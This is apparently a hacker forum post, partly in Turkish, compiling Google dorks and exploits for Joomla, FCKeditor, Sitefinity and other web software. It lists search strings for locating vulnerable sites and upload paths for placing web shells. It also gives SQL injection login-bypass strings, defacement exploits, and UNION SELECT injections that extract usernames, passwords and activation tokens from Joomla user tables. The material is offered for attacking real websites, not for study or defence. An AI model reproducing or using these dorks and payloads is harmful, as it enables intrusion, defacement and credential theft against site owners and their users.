Exploit Dorks for Joomla,FCK and others 2015 Old but gold

inurl:”/admin/saveannounce_upload.asp”

inurl:”admin/eWebEditor/Upload.asp”

inurl:”UploadFile/upload.asp”

WEBWİZ ACİGİ (RTE UPLOAD ACIGI )

inurl:rte/my_documents/my_files/
inurl:/my_documents/my_files/
exloit: /rte/RTE_popup_file_atch.asp

Editör açığı

inurl:editor/assetmanager/ (arama kodu geliştirilebilir)

EXPLOİT : /Editor/assetmanager/assetmanager.asp

Joomla upload açıgı

inurl index.php?option=com_expose

Exploit: administrator/components/com_expose/uploadimg.php
Uploadin gittigi yer : /components/com_expose/expose/img/

Sitefinity: Login upload açıgı

inurl:”Sitefinity: Login”
exploit: Sitefinity/UserControls/Dialogs/ImageEditorDialog.aspx




Auto Login For Joomla Dork .:old:.
inurl:/administrator/index.php?autologin=1



---
BYPASS ADMIN ACCESS

Dorks:
Code:
inurl:admin.asp
inurl:adminlogin.aspx
inurl:admin/index.php
inurl:administrator.php
inurl:administrator.asp
inurl:login.asp
inurl:login.aspx
inurl:login.php
inurl:admin/index.php
inurl:adminlogin.aspx

Code:
‘ or 1=1 –
1'or’1'=’1
admin’–
” or 0=0 –
or 0=0 –
‘ or 0=0 #
” or 0=0 #
or 0=0 #
‘ or ‘x’='x
” or “x”=”x
‘) or (‘x’='x
‘ or 1=1–
” or 1=1–
or 1=1–
‘ or a=a–
” or “a”=”a
‘) or (‘a’='a
“) or (“a”=”a
hi” or “a”=”a
hi” or 1=1 –
hi’ or 1=1 –
hi’ or ‘a’='a
hi’) or (‘a’='a

----
Joomla Component com_smartformer shell upload

Google Dork inurl:"index.php?option=com_smartformer"
& upload shell.php

Your shell :
http://localhost/components/com_smartformer/files/yourshell.php

---
Ministry Web Designing Multiple Vulnerabilities
exploit bypass to login:
user: '=' 'or'
pass: '=' 'or'

Vunlerable Sections:

inurl:/downloadcounter/admin/login.php
inurl:/mediaprogram/admin/index.php
inurl:/churchprogram/login.php
----
(Deface)Exploit (Remote Deface ) Joomla Component
Dork : inurl:index.php?option=com_fabrik
Exploit : /index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1
---
[Priv8] Joomla Com_content exploit - defacing joomla websites

Dork :
inurl:index.php?option=com_content & "/mambots/editors/fckeditor"

Vulnerable File :
mambots/editors/fckeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php

You can exploit this vulnerable joomla component and deface joomla wesbites and you can also sometimes upload your shell
----
exploit joomla "com_artforms" reset password


Dork : inurl:"option com_artforms"

/index.php?option=com_artforms&task=vferforms&id=1+UNION+SELECT+1,2,3,version(),5,concat_ws(email,0x3a,username,0x3a,password)+from+jos_users--

/index.php?option=com_user&view=reset

/index.php?option=com_artforms&task=vferforms&id=1+UNION+SELECT+1,2,3,version(),5,concat_ws(username,0x3a,activation)+from+jos_users